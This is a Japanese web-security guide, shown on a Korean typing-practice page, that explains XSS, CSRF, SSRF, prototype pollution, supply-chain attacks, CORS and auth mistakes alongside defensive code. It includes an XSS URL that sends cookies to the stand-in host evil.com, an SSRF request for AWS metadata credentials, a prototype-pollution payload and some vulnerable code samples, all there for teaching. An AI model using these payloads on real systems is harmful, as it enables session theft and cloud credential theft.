Skip to content

필사 모드: Webセキュリティ攻撃・防御の実践 — XSS、CSRF、SSRF、Clickjacking、Prototype Pollution、Supply Chain、CORS完全ガイド(2025)

日本語
0%
정확도 0%
💡 왼쪽 원문을 읽으면서 오른쪽에 따라 써보세요. Tab 키로 힌트를 받을 수 있습니다.

なぜ「攻撃技術」の記事が必要なのか

開発者はOWASP Top 10があることを知っています。しかし、その意味が自分のコードのどこにあるのかを知りません。セキュリティは理論ではありません。具体的な攻撃手法と、具体的な防御コードで学ぶべきものです。

  • 2024年のCVE登録数: 過去最高を更新、28,000件以上。
  • npm攻撃はGitHub Dependabotによって30%減少しましたが、それでも週に数百件。
  • AI生成コードは平均40%高い脆弱性密度(Stanford 2024)。

2025年もあなたのアプリがハッキングされる方法は、ほとんどがここに挙げた10種のいずれかです。

Part 1 — XSS (Cross-Site Scripting)

3種類

1. Reflected XSS

https://app.com/search?q=<script>fetch('//evil.com?c='+document.cookie)</script>

サーバーがqをそのままHTMLに挿入します。URLを一度クリックするだけで奪われます。

2. Stored XSS

コメントやプロフィールのような永続ストレージに悪性スクリプトが保存されます。最悪のケース — 訪問者全員が影響を受けます。

3. DOM-based XSS

サーバーは無事です。クライアントのJSがlocation.hashpostMessageを無検証でDOMに挿入します。

// 悪い例
document.getElementById('welcome').innerHTML = `Hello ${location.hash.slice(1)}`;

防御レイヤー

1. 出力エスケープ(基本)

  • React、Vue、Svelteはデフォルトでエスケープします。
  • ただし、dangerouslySetInnerHTMLv-html{@html}を使うと突破されます。
  • ユーザーがHTMLを提供しなければならない場合はDOMPurifyでsanitizeします。
import DOMPurify from 'dompurify';
element.innerHTML = DOMPurify.sanitize(userHtml);

2. CSP (Content Security Policy)

最強のXSS防御。

Content-Security-Policy:
  default-src 'self';
  script-src 'self' 'nonce-rAnd0m' 'strict-dynamic';
  style-src 'self' 'unsafe-inline';
  img-src 'self' https: data:;
  object-src 'none';
  base-uri 'self';
  frame-ancestors 'none';
  upgrade-insecure-requests;
  • nonce: サーバーがレスポンスごとにランダム値を生成し、<script nonce="...">に含めます。
  • strict-dynamic: 信頼されたスクリプトが読み込んだスクリプトも実行を許可します。
  • 'unsafe-inline'は絶対にNG — CSP迂回の90%はここから始まります。

3. Trusted Types(Chrome 83+、Firefox/Safariは未対応 → polyfill)

危険なsink(innerHTMLなど)に文字列を直接代入することを禁止する。

Content-Security-Policy: require-trusted-types-for 'script'
const policy = trustedTypes.createPolicy('my-policy', {
  createHTML: (input) => DOMPurify.sanitize(input)
});

element.innerHTML = policy.createHTML(userInput);

Googleで義務化された後、自社アプリのXSSレポートが激減しました。

4. フレームワークの安全なAPI

  • React: dangerouslySetInnerHTMLの代わりに通常のchildren。
  • Vue: v-htmlの代わりに{{ }}
  • Angular: [innerHTML] + DomSanitizer

Part 2 — CSRF (Cross-Site Request Forgery)

原理

攻撃者のサイトが<form action="https://bank.com/transfer" method="POST">を自動送信します。被害者のCookieが自動的に送られ、リクエストが成功します。

2020年以前の防御: CSRF Token

  • サーバーがトークンを発行 → formのhidden fieldに含める → 検証。
  • Django、Railsが標準で内蔵。
Set-Cookie: session=abc; SameSite=Lax; Secure; HttpOnly; Path=/
  • Lax(2020年からのChromeデフォルト): top-level navigationのGETのみ許可。
  • Strict: クロスサイトでは絶対に送りません。
  • None: 無関係(Secure必須)。

ほとんどのCSRFはSameSite Laxで自動的に防御されます。 ただし、次のケースでは依然としてトークンが必要です:

  • GETリクエストが状態を変更する場合(RESTful違反)。
  • サブドメイン間のリクエスト。
  • CORSで開けておいたPOSTエンドポイント。

サーバーセッションなしでCSRFを防御します。Cookieとリクエストヘッダーに同じトークンを送って検証します。SPA + トークン認証でよく使われます。

Part 3 — SSRF (Server-Side Request Forgery)

2019年 Capital One事件

攻撃者(Paige Thompson)がAWS EC2メタデータ(169.254.169.254)へサーバー側からリクエストするよう誘導し、IAM資格情報を奪取 → S3バケットから1億人分のデータが流出しました。

攻撃パターン

# サーバーコード
@app.route('/fetch')
def fetch():
    url = request.args.get('url')
    return requests.get(url).text

# 攻撃: /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

防御

  1. IMDSv2を使う(AWS) — トークンベースで、GETでもセッションが必要です。

    MetadataOptions:
      HttpTokens: required
      HttpPutResponseHopLimit: 1
    
  2. URL検証 — スキーム・ホスト・ポート、そしてDNS解決後のIPを検証します。

    • プライベートIP帯域の遮断(10/8, 172.16/12, 192.168/16, 127/8, 169.254/16)。
    • DNS Rebinding防御 — 検証後、実際のリクエスト直前に再検証します。
  3. ネットワーク分離 — SSRFの危険があるコードは、メタデータにアクセスできないVPC/サブネットに配置します。

  4. アウトバウンドプロキシ — 許可リストベースの強制プロキシ経由にします。

  5. Fetchライブラリのredirect: 'manual' — リダイレクトによる内部アクセスの迂回を防ぎます。

追加ポイント: 0.0.0.0、IPv6、短縮URL

  • http://0.0.0.0/ → ローカルバインドアドレスとして解釈されます。
  • http://[::1]/ → IPv6ループバック。
  • http://bit.ly/... → リダイレクトで内部ターゲットへ。

Part 4 — Clickjacking

原理

攻撃者のサイトが被害サイトを<iframe>透明に覆いかぶせ、ユーザーのクリックを横取りします。

防御

X-Frame-Options: DENY
または
Content-Security-Policy: frame-ancestors 'none'

frame-ancestorsのほうが強力で柔軟です(複数ドメインを許可できます)。X-Frame-Optionsはレガシーですが、それでも併せて追加しておくのが安全です。

ユーザー観点の防御: 重要なアクション(決済、パスワード変更)には再認証または追加確認のステップを置きます。

Part 5 — Prototype Pollution

原理(Node.js / ブラウザJS共通)

const payload = JSON.parse('{"__proto__": {"isAdmin": true}}');
Object.assign({}, payload);
// 以降すべてのオブジェクトがisAdmin: trueを持つ
({}).isAdmin  // true

実際のCVE

  • Lodash(2019、_.merge) — 数百万のアプリに影響。
  • jQuery $.extend(true, ...)
  • minimist(2020) — 数多くのCLIツールに影響。

防御

  1. 再帰的なmerge時に__proto__constructorprototypeをフィルタリングする。
  2. Object.freeze(Object.prototype) — 可能ならアプリ起動時に。
  3. Mapを使う — 任意のキーを保存するときはplain objectではなくMapを。
  4. Object.create(null) — プロトタイプを持たないオブジェクト。
function safeMerge(target, source) {
  for (const key in source) {
    if (['__proto__', 'constructor', 'prototype'].includes(key)) continue;
    target[key] = source[key];
  }
}

Part 6 — サプライチェーン攻撃

代表的な事件

event-stream (2018)

週2Mダウンロードのnpmパッケージに悪性コードが挿入されました。Copay暗号通貨ウォレットが標的でした。被害者のウォレットからBTCを奪おうと試みました。

ua-parser-js (2021)

週6Mダウンロード。攻撃者がメンテナーのアカウントを奪取した後、悪性バージョンを配布しました。

xz-utils (2024)

ほぼすべてのLinuxに含まれる圧縮ライブラリです。「Jia Tan」が2年かけてメンテナー資格を獲得した後、OpenSSHのバックドアを挿入しました。Microsoftのエンジニア Andres Freundが偶然発見しました。

SolarWinds (2020)

ビルドパイプラインそのものが侵害されました。悪性コードが署名済みアップデートに含まれ、18,000社の顧客へ配布されました。

防御

  1. Lockファイルのコミットpackage-lock.jsonpnpm-lock.yaml
  2. npm ci — CIでlockを遵守。
  3. 依存関係の自動更新 + レビュー — Dependabot / Renovate。
  4. 脆弱性スキャナー — Snyk、GitHub Advisory、npm audit
  5. SBOMの生成 — Syftで構成要素を一覧化。
  6. 署名検証 — npm 2023+のprovenance、Sigstore/cosign。
  7. OSSF Scorecard — パッケージのセキュリティスコアを確認。
  8. 最小権限のCI — ビルドサーバーが必要以上の権限を持たないように。

Typosquatting

rquest(本物はrequest)、lodas(本物はlodash) — タイポを狙った悪性パッケージです。正式名称をコピーする習慣をつけましょう。

Part 7 — CORSの完全理解

多くの開発者の誤解

「CORSを緩めるとセキュリティが緩む。」間違いです。 CORSはセキュリティ機能ではなく、同一オリジンポリシー(SOP)の例外を許可する仕組みです。SOPが基本の盾であり、CORSはその盾に穴を開ける道具です。

基本ルール

ブラウザがクロスオリジンリクエストを送るとき:

  • 単純リクエスト: GET/HEAD/POST + 特定のContent-Type → そのまま送信され、レスポンスにAccess-Control-Allow-Originがあれば読み取りが許可されます。
  • 事前リクエスト(preflight): PUT/DELETE/カスタムヘッダー/JSON POST → まずOPTIONSリクエストで確認します。

よくあるミス

1. Access-Control-Allow-Origin: * + Allow-Credentials: true

ブラウザが拒否します。ワイルドカードでは資格情報を含められません。必ず特定のオリジンをechoしてください。

// 悪い例
res.setHeader('Access-Control-Allow-Origin', '*');
res.setHeader('Access-Control-Allow-Credentials', 'true');

// 良い例(許可リストのチェック後)
if (allowedOrigins.includes(origin)) {
  res.setHeader('Access-Control-Allow-Origin', origin);
  res.setHeader('Vary', 'Origin');
  res.setHeader('Access-Control-Allow-Credentials', 'true');
}

2. Originをそのままecho

正規表現チェックなしでechoすると、どのサイトからでも資格情報を読めるようになります → 深刻です。

3. Vary: Originの欠落

キャッシュが誤ったレスポンスを別のオリジンへ配信します。

CORSとセキュリティの関係

  • CORSが開いているからといってトークンが流出するわけではありません — HttpOnly CookieやAuthorizationヘッダーは依然として安全です。
  • ただし、CSRF防御がSameSite+Origin検証に依存している場合、CORS設定のミスが認証済みリクエストの許可を生みます。

Part 8 — Rate Limiting & Bot Defense

なぜ必要か

  • ログインのbrute force
  • 登録スパム
  • スクレイピングによるコストの急増
  • AIオーバーユーザーによるAPI濫用

戦略

  1. IPベースのトークンバケット — RedisのINCR + TTLがよくある実装です。
  2. ユーザー/アカウントベース — ログイン後はIPよりアカウント単位で。
  3. Sliding Window — 正確ですがコストが高いです。
  4. CDN/Edge層での遮断 — Cloudflare、Fastly、Vercel Firewall。

Bot Detection

  • Cloudflare Turnstile(2022) — ユーザー体験の良いCAPTCHA代替。
  • hCaptchaGoogle reCAPTCHA v3
  • Arkose Labs — 金融業界の標準。
  • Device Fingerprinting — FingerprintJS。

レスポンスポリシー

  • 429 Too Many Requests + Retry-Afterヘッダー。
  • 沈黙の失敗より明確なエラーのほうが、ユーザーにもサポートチームにも得です。
  • 攻撃者に対しては遅延レスポンス(tarpit)で時間を浪費させます。

Part 9 — 認証のよくあるミス

1. JWTをローカルストレージに保存

XSS一発で奪われます。HttpOnly Cookieを使ってください。

2. パスワードハッシュにSHA-256

Argon2id、bcrypt、scryptだけです。一般的なハッシュはGPUで毎秒数億回の逆算が可能です。

3. パスワード復旧トークンが予測可能

btoa(email + Date.now())のようなミスです。暗号学的乱数 + 短いTTL + 1回限りの使用にしてください。

4. メールの列挙(Enumeration)

「このメールは登録されていません」→ 攻撃者が会員リストを収集します。レスポンスを一貫させてください。

5. セッション固定(Session Fixation)

ログイン成功時にセッションIDを必ずローテーションします。

Part 10 — HTTPSと証明書のミス

HSTS未設定

Strict-Transport-Security: max-age=63072000; includeSubDomains; preload

初回のHTTPリクエストに対するMITM防御です。preloadリストに登録すれば初回訪問も保護されます。

証明書ピンニング(Pinning)の罠

モバイルアプリに公開鍵を固定します。証明書の更新時にアプリを新しく配布できなければ、全ユーザーが停止します。サービス利用者が数千万人規模なら固定しないでください。CT(Certificate Transparency)の監視のほうが実用的です。

Let's Encrypt + 自動更新

  • 90日証明書 → 自動更新が必須。
  • 2024年にはACME Renewal Info(ARI)で更新タイミングが賢くなりました。
  • rustls-acme、lego、certbot、Caddy(内蔵)。

Part 11 — 実務チェックリスト(12項目)

  1. CSPは最初から — ランタイムで後付けすると必ずunsafe-inlineが残ります。
  2. SameSite=Laxをデフォルトに — 例外のときだけNone。
  3. HttpOnly + Secure — セッションCookieには自明です。
  4. IMDSv2を強制 — AWS利用時は必須。
  5. URL fetchはSSRFプロキシ経由 — 直接のfetch(userUrl)は禁止。
  6. 依存関係はlockファイル + 自動監査
  7. すべての外部入力はスキーマ検証(Zodなど)
  8. 出力sinkはsanitize — innerHTMLへ代入する前にDOMPurify。
  9. パスワードはArgon2id — ただし既存のbcryptでも問題ありません。
  10. Rate Limit + ログイン失敗時の指数的遅延
  11. シークレットはVault/Secrets Manager.envファイルのコミットはNG。
  12. セキュリティヘッダーをすべて設定 — HSTS、CSP、XFO、XCTO、Referrer-Policy、Permissions-Policy。

Part 12 — 10大アンチパターン

  1. innerHTML = userData — XSSへ直行。
  2. dangerouslySetInnerHTMLの濫用 — sanitizeなしで使用。
  3. Access-Control-Allow-Origin: * + 資格情報
  4. URL fetchを何の検証もなしに
  5. evalFunction(string)setTimeout(string)
  6. JWTをlocalStorageに — XSS一発ですべてを失います。
  7. パスワードリセットトークンが単純な数値 / 時間ベース
  8. エラーメッセージに内部情報を露出 — スタックトレース・クエリ・トークン。
  9. CAPTCHAなしで無限の試行を許可
  10. 「HTTPSだから安全」 — 転送のセキュリティは基本です。認証・認可は別物です。

Part 13 — 学習 & 実践リソース

  • 書籍: The Web Application Hacker's Handbook(Stuttard & Pinto) — 古典。
  • 書籍: Real-World Bug Hunting(Peter Yaworski) — HackerOneの実例。
  • プラットフォーム: PortSwigger Web Security Academy(無料)。
  • 大会/練習: HackTheBox、TryHackMe。
  • ツール: Burp Suite、OWASP ZAP、Semgrep、CodeQL。
  • ニュース: Krebs on Security、The Hacker News、GitHub Advisory DB。
  • エッセイ: 毎年のSnyk/Googleのセキュリティレポートを読むこと。

おわりに — セキュリティは「基本」だ

この記事の攻撃は、1998年から2024年まで毎年繰り返されてきたものです。新しい技術が出てきても、基本を落としたアプリから先に破られます。

2025年のエンジニアにとって、セキュリティは「ハッカーがやる特殊分野」ではありません。毎日のコードレビュー、毎日のライブラリ選択、毎日のAPI設計に溶け込んでいる基本です。

良い知らせ: この記事に出てくる防御法はほとんどが無料です。CSP、SameSite、DOMPurify、Zod、Dependabot、Cloudflare Turnstile。設定一行、ライブラリ一つで数多くの攻撃を無力化します。

悪い知らせ: 「次のプロジェクトでは必ずやろう」と先送りすることです。すでにデプロイされたアプリが、今この瞬間もスキャンされています。

次回予告 — 「実践ネットワークエンジニアリング」 — TCP輻輳制御、TLS 1.3、HTTP/3 QUIC、DNS over HTTPS、BGP、CDNの内部まで

Webセキュリティが「何を防ぐか」だったとすれば、次回は「どうやってデータが行き交うか」です。

  • TCP輻輳制御の現代 — BBR、CUBIC、PRR
  • TLS 1.3の革命 — 1-RTT、0-RTT、Post-Quantum
  • HTTP/3 + QUIC — UDPベースの再解釈
  • DNSの進化 — DoH、DoT、DNSSEC、ECS
  • BGPハイジャック — 2021年のFacebook 6時間障害の本当の原因
  • AnycastとCDNルーティング — Cloudflare/Fastly/Akamai
  • WebSocket vs SSE vs WebTransport — リアルタイム通信の選択
  • Zero RTTのセキュリティリスク — replay attack
  • eBPFでネットワークを観測する
  • プロトコルをパケット単位で理解する — Wireshark実践

「ネットワークが遅い」の原因を、プロトコルレイヤーまで降りて探す方法。次回の記事で。

현재 단락 (1/193)

開発者はOWASP Top 10があることを知っています。しかし、その意味が**自分のコードのどこにあるのか**を知りません。セキュリティは理論ではありません。**具体的な攻撃手法と、具体的な防御コー...

작성 글자: 0원문 글자: 10,010작성 단락: 0/193